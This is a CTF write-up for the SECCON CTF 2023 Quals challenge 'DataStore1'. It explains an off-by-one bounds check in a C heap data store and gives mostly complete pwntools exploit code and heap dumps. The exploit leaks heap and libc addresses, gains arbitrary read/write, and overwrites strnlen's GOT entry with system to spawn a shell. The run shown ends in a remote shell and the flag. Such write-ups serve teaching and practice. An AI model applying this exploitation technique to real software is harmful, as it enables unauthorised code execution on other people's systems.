SECCON CTF 2023 Quals - DataStore1
nc datastore1.seccon.games 4585
Team: HK Guesser
Attachment:
DataStore1.tar.gz
xpl.py
MENU
1. Edit
2. List
0. Exit
> 1
Current: <EMPTY>
Select type: [a]rray/[v]alue
> a
input size: 4
MENU
1. Edit
2. List
0. Exit
> 2
List Data
<ARRAY(4)>
[00] <EMPTY>
[01] <EMPTY>
[02] <EMPTY>
[03] <EMPTY>
MENU
1. Edit
2. List
0. Exit
>
DataStore1
lets us create a hierarchic data structure, which could consist of arrays, strings, ints and floats on different levels (which made scripting this a pain first).
typedef enum {
TYPE_EMPTY = 0 ,
TYPE_ARRAY = 0xfeed0001 ,
TYPE_STRING ,
TYPE_UINT ,
TYPE_FLOAT ,
} type_t ;
typedef struct {
type_t type ;
union {
struct Array * p_arr ;
struct String * p_str ;
uint64_t v_uint ;
double v_float ;
};
} data_t ;
typedef struct Array {
size_t count ;
data_t data [];
} arr_t ;
typedef struct String {
size_t size ;
char * content ;
} str_t ;
So on every level in data_t
, we can have a different data type (which is stored at the same address, since it uses union
). Depending on type
, the type will be interpreted differently.
The bug for this challenge is in the edit
function
printf ( "index: " );
unsigned idx = getint ();
if ( idx > arr -> count )
return - 1 ;
In the boundary check we have an off-by-one, since it checks that idx
is not bigger than arr->count
(though it should check for greater or equal). This allows us to update/delete one data_t
object “behind” the current type, overwriting followup data on the heap.
As an example, if we have another array stored behind the current data_t
object, this would allow us to overwrite count
of that, corrupting the size of the following array.
We just have to be careful while corrupting other data types, since the binary will often call show
on our data types, and if it encounters an unknown
data type, it will abort.
For the start, we’d need a leak to the heap to be able to create useful objects.
Create one initial array with size 1
Create four sub arrays
Use the oob access on the second sub array to delete
the fourth entry (which points to the count of the third sub array)
Create another array type in the fourth entry of the second sub array (which will create a pointer to the array type in the count
of the third sub array)
Sounds confusing? Well, it was in the beginning :)
def exploit ( r ):
r . recvuntil ( "> " )
# create initial array
log . info ( "Create initial array" )
r . sendline ( "1" )
r . sendlineafter ( "> " , "a" )
r . sendlineafter ( ": " , "1" )
r . recvuntil ( "> " )
log . info ( "Create sub arrays" )
createarray ([ 0 ], 4 )
createarray ([ 0 , 0 ], 4 )
createarray ([ 0 , 1 ], 4 )
createarray ([ 0 , 2 ], 4 )
createarray ([ 0 , 3 ], 4 )
log . info ( "Overwrite array size with another array" )
delete ([ 0 , 1 ], 4 )
createarray ([ 0 , 1 , 4 ], 10 )
Let’s see, how this looks like on the heap.
Create initial array
0x555555559290: 0x0000000000000000 0x0000000000000021
0x5555555592a0: 0x00000000feed0001 0x00005555555592c0 <= type / array ptr
0x5555555592b0: 0x0000000000000000 0x0000000000000021
0x5555555592c0: 0x0000000000000001 0x0000000000000000 <= initial array: count
0x5555555592d0: 0x0000000000000000 0x0000000000020d31
Create sub arrays
0x555555559290: 0x0000000000000000 0x0000000000000021
0x5555555592a0: 0x00000000feed0001 0x00005555555592c0 <= type / array ptr
0x5555555592b0: 0x0000000000000000 0x0000000000000021
0x5555555592c0: 0x0000000000000001 0x00000000feed0001 <= initial array: count / type
0x5555555592d0: 0x00005555555592e0 0x0000000000000051 <= array ptr
0x5555555592e0: 0x0000000000000004 0x00000000feed0001 <= sub array (0)
0x5555555592f0: 0x0000555555559330 0x00000000feed0001
0x555555559300: 0x0000555555559380 0x00000000feed0001
0x555555559310: 0x00005555555593d0 0x00000000feed0001
0x555555559320: 0x0000555555559420 0x0000000000000051
0x555555559330: 0x0000000000000004 0x0000000000000000 <= sub array (0/0)
0x555555559340: 0x0000000000000000 0x0000000000000000
0x555555559350: 0x0000000000000000 0x0000000000000000
0x555555559360: 0x0000000000000000 0x0000000000000000
0x555555559370: 0x0000000000000000 0x0000000000000051
0x555555559380: 0x0000000000000004 0x0000000000000000 <= sub array (0/1)
0x555555559390: 0x0000000000000000 0x0000000000000000
0x5555555593a0: 0x0000000000000000 0x0000000000000000
0x5555555593b0: 0x0000000000000000 0x0000000000000000
0x5555555593c0: 0x0000000000000000 0x0000000000000051
0x5555555593d0: 0x0000000000000004 0x0000000000000000 <= sub array (0/2)
0x5555555593e0: 0x0000000000000000 0x0000000000000000
0x5555555593f0: 0x0000000000000000 0x0000000000000000
0x555555559400: 0x0000000000000000 0x0000000000000000
0x555555559410: 0x0000000000000000 0x0000000000000051
0x555555559420: 0x0000000000000004 0x0000000000000000 <= sub array (0/3)
0x555555559430: 0x0000000000000000 0x0000000000000000
0x555555559440: 0x0000000000000000 0x0000000000000000
0x555555559450: 0x0000000000000000 0x0000000000000000
0x555555559460: 0x0000000000000000 0x0000000000020ba1
Deleting element (0/1/4)
0x555555559290: 0x0000000000000000 0x0000000000000021
0x5555555592a0: 0x00000000feed0001 0x00005555555592c0
0x5555555592b0: 0x0000000000000000 0x0000000000000021
0x5555555592c0: 0x0000000000000001 0x00000000feed0001
0x5555555592d0: 0x00005555555592e0 0x0000000000000051
0x5555555592e0: 0x0000000000000004 0x00000000feed0001
0x5555555592f0: 0x0000555555559330 0x00000000feed0001
0x555555559300: 0x0000555555559380 0x00000000feed0001
0x555555559310: 0x00005555555593d0 0x00000000feed0001
0x555555559320: 0x0000555555559420 0x0000000000000051
0x555555559330: 0x0000000000000004 0x0000000000000000 <= sub array (0/0)
0x555555559340: 0x0000000000000000 0x0000000000000000
0x555555559350: 0x0000000000000000 0x0000000000000000
0x555555559360: 0x0000000000000000 0x0000000000000000
0x555555559370: 0x0000000000000000 0x0000000000000051
0x555555559380: 0x0000000000000004 0x0000000000000000 <= sub array (0/1)
0x555555559390: 0x0000000000000000 0x0000000000000000
0x5555555593a0: 0x0000000000000000 0x0000000000000000
0x5555555593b0: 0x0000000000000000 0x0000000000000000
0x5555555593c0: 0x0000000000000000 0x0000000000000000
0x5555555593d0: 0x0000000000000004 0x0000000000000000 <= sub array (0/2)
0x5555555593e0: 0x0000000000000000 0x0000000000000000
0x5555555593f0: 0x0000000000000000 0x0000000000000000
0x555555559400: 0x0000000000000000 0x0000000000000000
0x555555559410: 0x0000000000000000 0x0000000000000051
0x555555559420: 0x0000000000000004 0x0000000000000000 <= sub array (0/3)
0x555555559430: 0x0000000000000000 0x0000000000000000
0x555555559440: 0x0000000000000000 0x0000000000000000
0x555555559450: 0x0000000000000000 0x0000000000000000
0x555555559460: 0x0000000000000000 0x0000000000020ba1
Note, how the chunk size of the second sub array is now zeroed out. This allows us to now do an update
on this element (otherwise show
would have aborted, since 0x21
would have counted as an unknown
data type)
Update element (0/1/4) with an array type
0x555555559290: 0x0000000000000000 0x0000000000000021
0x5555555592a0: 0x00000000feed0001 0x00005555555592c0
0x5555555592b0: 0x0000000000000000 0x0000000000000021
0x5555555592c0: 0x0000000000000001 0x00000000feed0001
0x5555555592d0: 0x00005555555592e0 0x0000000000000051
0x5555555592e0: 0x0000000000000004 0x00000000feed0001
0x5555555592f0: 0x0000555555559330 0x00000000feed0001
0x555555559300: 0x0000555555559380 0x00000000feed0001
0x555555559310: 0x00005555555593d0 0x00000000feed0001
0x555555559320: 0x0000555555559420 0x0000000000000051
0x555555559330: 0x0000000000000004 0x0000000000000000 <= sub array (0/0)
0x555555559340: 0x0000000000000000 0x0000000000000000
0x555555559350: 0x0000000000000000 0x0000000000000000
0x555555559360: 0x0000000000000000 0x0000000000000000
0x555555559370: 0x0000000000000000 0x0000000000000051
0x555555559380: 0x0000000000000004 0x0000000000000000 <= sub array (0/1)
0x555555559390: 0x0000000000000000 0x0000000000000000
0x5555555593a0: 0x0000000000000000 0x0000000000000000
0x5555555593b0: 0x0000000000000000 0x0000000000000000
0x5555555593c0: 0x0000000000000000 0x00000000feed0001
0x5555555593d0: 0x0000555555559470 0x0000000000000000 <= sub array (0/2) (count == array ptr)
0x5555555593e0: 0x0000000000000000 0x0000000000000000
0x5555555593f0: 0x0000000000000000 0x0000000000000000
0x555555559400: 0x0000000000000000 0x0000000000000000
0x555555559410: 0x0000000000000000 0x0000000000000051
0x555555559420: 0x0000000000000004 0x0000000000000000 <= sub array (0/3)
0x555555559430: 0x0000000000000000 0x0000000000000000
0x555555559440: 0x0000000000000000 0x0000000000000000
0x555555559450: 0x0000000000000000 0x0000000000000000
0x555555559460: 0x0000000000000000 0x00000000000000b1
Creating an array type in the fourth element of the second sub array now put the pointer to the array in the count
property of the third sub array. We can use this to leak the heap address by doing an edit
, while NOT editing the third sub array itself (which would again lead to an abort).
Since we have created an array above that, we can go into edit mode, which will show us the sizes of the sub array (and the size of the third array now happens to be 0x0000555555559470
)
[47971]
[*] Create initial array
[*] Create sub arrays
[*] Overwrite array size with another array
[*] Switching to interactive mode
$ 1
Current: <ARRAY(1)>
[00] <ARRAY(4)>
index: $ 0
1. Update
2. Delete
> $ 1
Current: <ARRAY(4)>
[00] <ARRAY(4)>
[01] <ARRAY(4)>
[02] <ARRAY(93824992253040)>
[03] <ARRAY(4)>
index: $
We can read the array size here and then just edit another value to get out of edit mode again.
log . info ( "Leak heap address from array size" )
r . sendline ( "1" )
r . sendlineafter ( ": " , "0" )
r . sendlineafter ( "> " , "1" )
r . recvuntil ( "[02] <ARRAY(" )
LEAK = int ( r . recvuntil ( ")" , drop = True ))
r . sendlineafter ( "index: " , "0" )
r . sendlineafter ( "> " , "1" )
r . sendlineafter ( "index: " , "0" )
r . sendlineafter ( "> " , "1" )
r . sendlineafter ( "> " , "v" )
r . sendlineafter ( ": " , str ( 100 ))
r . recvuntil ( "> " )
HEAPBASE = LEAK - 0x470
log . info ( "HEAP leak : %s" % hex ( LEAK ))
log . info ( "HEAP base : %s" % hex ( HEAPBASE ))
With a heap leak, we can now start creating data types, which gives us a bit more control, where to read and write from. String objects are perfect for this.
typedef struct String {
size_t size ;
char * content ;
} str_t ;
They contain a size
, which controls, how much can be read or written to them and a pointer, where we can read/write. Controlling such a datatype would give us an arbitrary read/write primitive.
Let’s start putting some string objects on the heap
log . info ( "Create strings on heap" )
updatevalue ([ 0 , 1 , 1 ], "A" * 8 )
updatevalue ([ 0 , 1 , 2 ], "A" * 8 )
updatevalue ([ 0 , 1 , 3 ], "A" * 8 )
0x555555559460: 0x0000000000000000 0x00000000000000b1
0x555555559470: 0x000000000000000a 0x0000000000000000 <= sub array (0/1/4)
0x555555559480: 0x0000000000000000 0x0000000000000000
0x555555559490: 0x0000000000000000 0x0000000000000000
0x5555555594a0: 0x0000000000000000 0x0000000000000000
0x5555555594b0: 0x0000000000000000 0x0000000000000000
0x5555555594c0: 0x0000000000000000 0x0000000000000000
0x5555555594d0: 0x0000000000000000 0x0000000000000000
0x5555555594e0: 0x0000000000000000 0x0000000000000000
0x5555555594f0: 0x0000000000000000 0x0000000000000000
0x555555559500: 0x0000000000000000 0x0000000000000000
0x555555559510: 0x0000000000000000 0x0000000000000021
0x555555559520: 0x0000000000000008 0x0000555555559590 <= size / content ptr (1)
0x555555559530: 0x0000000000000000 0x0000000000000051
0x555555559540: 0x0000000555555559 0x914996d08fbb6b99
0x555555559550: 0x0000000000000000 0x0000000000000000
0x555555559560: 0x0000000000000000 0x0000000000000000
0x555555559570: 0x0000000000000000 0x0000000000000000
0x555555559580: 0x0000000000000000 0x0000000000000021
0x555555559590: 0x4141414141414141 0x0000000000000000 <= string content (1)
0x5555555595a0: 0x0000000000000000 0x0000000000000051
0x5555555595b0: 0x000055500000c019 0x914996d08fbb6b99
0x5555555595c0: 0x0000000000000000 0x0000000000000000
0x5555555595d0: 0x0000000000000000 0x0000000000000000
0x5555555595e0: 0x0000000000000000 0x0000000000000000
0x5555555595f0: 0x0000000000000000 0x0000000000000021
0x555555559600: 0x4141414141414141 0x0000000000000000 <= string content (2)
0x555555559610: 0x0000000000000000 0x0000000000000051
0x555555559620: 0x000055500000c0e9 0x914996d08fbb6b99
0x555555559630: 0x0000000000000000 0x0000000000000000
0x555555559640: 0x0000000000000000 0x0000000000000000
0x555555559650: 0x0000000000000000 0x0000000000000000
0x555555559660: 0x0000000000000000 0x0000000000000021
0x555555559670: 0x0000000000000008 0x0000555555559600 <= size / content ptr (2)
0x555555559680: 0x0000000000000000 0x0000000000000021
0x555555559690: 0x4141414141414141 0x0000000000000000 <= string content (3)
0x5555555596a0: 0x0000000000000000 0x0000000000000051
0x5555555596b0: 0x000055500000c379 0x914996d08fbb6b99
0x5555555596c0: 0x0000000000000000 0x0000000000000000
0x5555555596d0: 0x0000000000000000 0x0000000000000000
0x5555555596e0: 0x0000000000000000 0x0000000000000000
0x5555555596f0: 0x0000000000000000 0x0000000000000021
0x555555559700: 0x0000000000000008 0x0000555555559690 <= size / content ptr (3)
0x555555559710: 0x0000000000000000 0x00000000000208f1
So, now we have some strings located behind the subarray (0/1/4)
, which has a size of 10
.
We still have no libc
address on the heap though. For this we’d need to free a bigger chunk to put it in unsorted bin. So, before doing something with those string objects, let’s just fill up the heap to move top
pointer down, making it easier to put a fake chunk somewhere.
log . info ( "Fillup heap" )
createarray ([ 0 , 3 , 0 ], 10 )
createarray ([ 0 , 3 , 1 ], 10 )
createarray ([ 0 , 3 , 2 ], 10 )
createarray ([ 0 , 3 , 3 ], 10 )
createarray ([ 0 , 3 , 0 , 0 ], 10 )
createarray ([ 0 , 3 , 0 , 1 ], 10 )
createarray ([ 0 , 3 , 0 , 2 ], 10 )
We’ll now have some more chunks below the string objects, so that we can create a bigger fake chunk, point a string to it, free
it, to pull a main_arena
pointer in the heap, and then overwrite a string again to point to it, to leak it.
# delete 10th element to avoid unknown datatype
delete ([ 0 , 1 , 4 ], 10 )
# overwrite string length
updatevalue ([ 0 , 1 , 4 , 10 ], "1000" )
First we delete
the 10th element of the sub arry 0/1/4
. By doing this, we can edit it, without show
aborting because of an unknown datatype (The 10th element of 0/1/4
is where the str_t
for the first string is located).
Then we can update the 10th element of sub array 0/1/4
with 1000
, which will overwrite the size of the first string pointer to 1000
, enabling us to overwrite anything behind it.
Memory layout after those steps:
0x555555559410: 0x0000000000000000 0x0000000000000051
0x555555559420: 0x0000000000000004 0x00000000feed0001 <= sub array 0/3
0x555555559430: 0x0000555555559720 0x00000000feed0001
0x555555559440: 0x00005555555597d0 0x00000000feed0001
0x555555559450: 0x0000555555559880 0x00000000feed0001
0x555555559460: 0x0000555555559930 0x00000000000000b1
0x555555559470: 0x000000000000000a 0x0000000000000000 <= sub array 0/1/4
0x555555559480: 0x0000000000000000 0x0000000000000000
0x555555559490: 0x0000000000000000 0x0000000000000000
0x5555555594a0: 0x0000000000000000 0x0000000000000000
0x5555555594b0: 0x0000000000000000 0x0000000000000000
0x5555555594c0: 0x0000000000000000 0x0000000000000000
0x5555555594d0: 0x0000000000000000 0x0000000000000000
0x5555555594e0: 0x0000000000000000 0x0000000000000000
0x5555555594f0: 0x0000000000000000 0x0000000000000000
0x555555559500: 0x0000000000000000 0x0000000000000000
0x555555559510: 0x0000000000000000 0x00000000feed0003
0x555555559520: 0x00000000000003e8 0x0000555555559590 <= count / ptr of first string
0x555555559530: 0x0000000000000000 0x0000000000000051
0x555555559540: 0x0000000555555559 0x65e7b9b32841f470
0x555555559550: 0x0000000000000000 0x0000000000000000
0x555555559560: 0x0000000000000000 0x0000000000000000
0x555555559570: 0x0000000000000000 0x0000000000000000
0x555555559580: 0x0000000000000000 0x0000000000000021
0x555555559590: 0x4141414141414141 0x0000000000000000 <= first string pointing here
0x5555555595a0: 0x0000000000000000 0x0000000000000051
0x5555555595b0: 0x000055500000c019 0x65e7b9b32841f470
0x5555555595c0: 0x0000000000000000 0x0000000000000000
0x5555555595d0: 0x0000000000000000 0x0000000000000000
With a size of 1000
we can now update
the string overwriting everything behind it. We’ll be using this to corrupt another string to point to a 0x560
chunk, free it and then leak it.
log . info ( "Corrupting string pointer" )
payload = p64 ( 0x4141414141414141 ) + p64 ( 0x0000000000000000 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000051 )
payload += p64 ( 0x000055500000c019 ) + p64 ( 0x35c09eb735c664b5 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000000 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000000 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000000 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000021 )
payload += p64 ( 0x4141414141414141 ) + p64 ( 0x0000000000000000 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000051 )
payload += p64 ( 0x000055500000c0e9 ) + p64 ( 0x35c09eb735c664b5 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000000 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000000 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000000 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000021 )
payload += p64 ( 0x00000000000003e8 ) + p64 ( HEAPBASE + 0x680 ) # pointer to fake chunk
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000561 ) # fake size 0x560
payload += p64 ( 0x4141414141414141 ) + p64 ( 0x0000000000000000 ) # fake chunk
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000051 )
updatestring ([ 0 , 1 , 1 ], payload )
delete ([ 0 , 1 ], 3 )
0x555555559660: 0x0000000000000000 0x0000000000000021
0x555555559670: 0x00000000000003e8 0x0000555555559680
0x555555559680: 0x0000000000000000 0x0000000000000561
0x555555559690: 0x00007ffff7facce0 0x00007ffff7facce0 <= freed fake chunk
0x5555555596a0: 0x0000000000000000 0x0000000000000000
0x5555555596b0: 0x000055500000c300 0x9c9b8239fefaf274
0x5555555596c0: 0x0000000000000000 0x0000000000000000
0x5555555596d0: 0x0000000000000000 0x0000000000000000
0x5555555596e0: 0x0000000000000000 0x0000000000000000
0x5555555596f0: 0x0000000000000000 0x0000000000000021
0x555555559700: 0x000055500000cea9 0x9c9b8239fefaf274
Having a main_arena
pointer on the heap, let’s overwrite that string again to point to the leak, so we can read it.
log . info ( "Update string pointer again" )
payload = "/bin/sh \x00 " + p64 ( 0x0000000000000000 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000051 )
payload += p64 ( 0x000055500000c019 ) + p64 ( 0x35c09eb735c664b5 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000000 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000000 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000000 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000021 )
payload += p64 ( 0x4141414141414141 ) + p64 ( 0x0000000000000000 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000051 )
payload += p64 ( 0x000055500000c0e9 ) + p64 ( 0x35c09eb735c664b5 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000000 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000000 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000000 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000021 )
payload += p64 ( 0x00000000000003e8 ) + p64 ( HEAPBASE + 0x690 ) <= string pointer pointing to main_arena
updatestring ([ 0 , 1 , 1 ], payload )
log . info ( "Get libc leak" )
r . sendline ( "1" )
r . sendlineafter ( "index: " , "0" )
r . sendlineafter ( "> " , "1" )
r . sendlineafter ( "index: " , "1" )
r . sendlineafter ( "> " , "1" )
r . recvuntil ( "[02] <S> " )
LIBCLEAK = u64 ( r . recvline ()[: - 1 ]. ljust ( 8 , " \x00 " ))
r . sendlineafter ( ": " , "0" )
r . sendlineafter ( "> " , "2" )
r . recvuntil ( "> " )
log . info ( "LIBC leak : %s" % hex ( LIBCLEAK ))
libc . address = LIBCLEAK - 0x219ce0
log . info ( "LIBC : %s" % hex ( libc . address ))
Now we’re able to access libc
, so let’s change the string pointer once again to point it into abs.got
area of libc and overwrite strnlen.got
with system
.
payload = "/bin/sh \x00 " + p64 ( 0x0000000000000000 ) <= first string content
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000051 )
payload += p64 ( 0x000055500000c019 ) + p64 ( 0x35c09eb735c664b5 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000000 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000000 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000000 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000021 )
payload += p64 ( 0x4141414141414141 ) + p64 ( 0x0000000000000000 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000051 )
payload += p64 ( 0x000055500000c0e9 ) + p64 ( 0x35c09eb735c664b5 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000000 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000000 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000000 )
payload += p64 ( 0x0000000000000000 ) + p64 ( 0x0000000000000021 )
payload += p64 ( 0x00000000000003e8 ) + p64 ( libc . address + 0x219018 ) <= point to abs . got
updatestring ([ 0 , 1 , 1 ], payload )
updatestring ([ 0 , 1 , 2 ], p64 ( libc . symbols [ "system" ]))
Also note, that I’ve put /bin/sh
into our first string pointer content. When showing the list of strings again, this will make the binary calling strnlen(string)
and since we overwrote abs.got for strnlen
with system, it will call system("/bin/sh")
# trigger shell
r . sendline ( "1" )
r . sendlineafter ( ": " , "0" )
r . sendlineafter ( "> " , "1" )
r . sendlineafter ( ": " , "1" )
r . sendlineafter ( "> " , "1" )
Though the challenge itself was quite fun in hindsight, putting a 30 second timeout on the remote system wasn’t really a nice move for people outside of Japan :(
Had to spin up an aws
instance in Tokyo to be able to execute the exploit fast enough on remote, but that landed the shell finally.
[*] '/home/ubuntu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to datastore1.seccon.games on port 4585: Done
[*] Create initial array
[*] Create sub arrays
[*] Overwrite array size
[*] Create array and leak heap address from it
[*] HEAP leak : 0x556da5a40470
[*] HEAP base : 0x556da5a40000
[*] Create strings on heap
[*] Overwrite string pointer
[*] Fillup heap
[*] Update string ptr again
[*] Update string ptr 3
[*] Get libc leak
[*] LIBC leak : 0x7ff709979ce0
[*] LIBC : 0x7ff709760000
[*] Switching to interactive mode
Current: <ARRAY(4)>
[00] <EMPTY>
[01] $ ls
chall
flag-02cf8c730391ace954cb5255d37e5c8b.txt
run.sh
$ cat flag-02cf8c730391ace954cb5255d37e5c8b.txt
SECCON{'un10n'_15_4_m4g1c_b0x}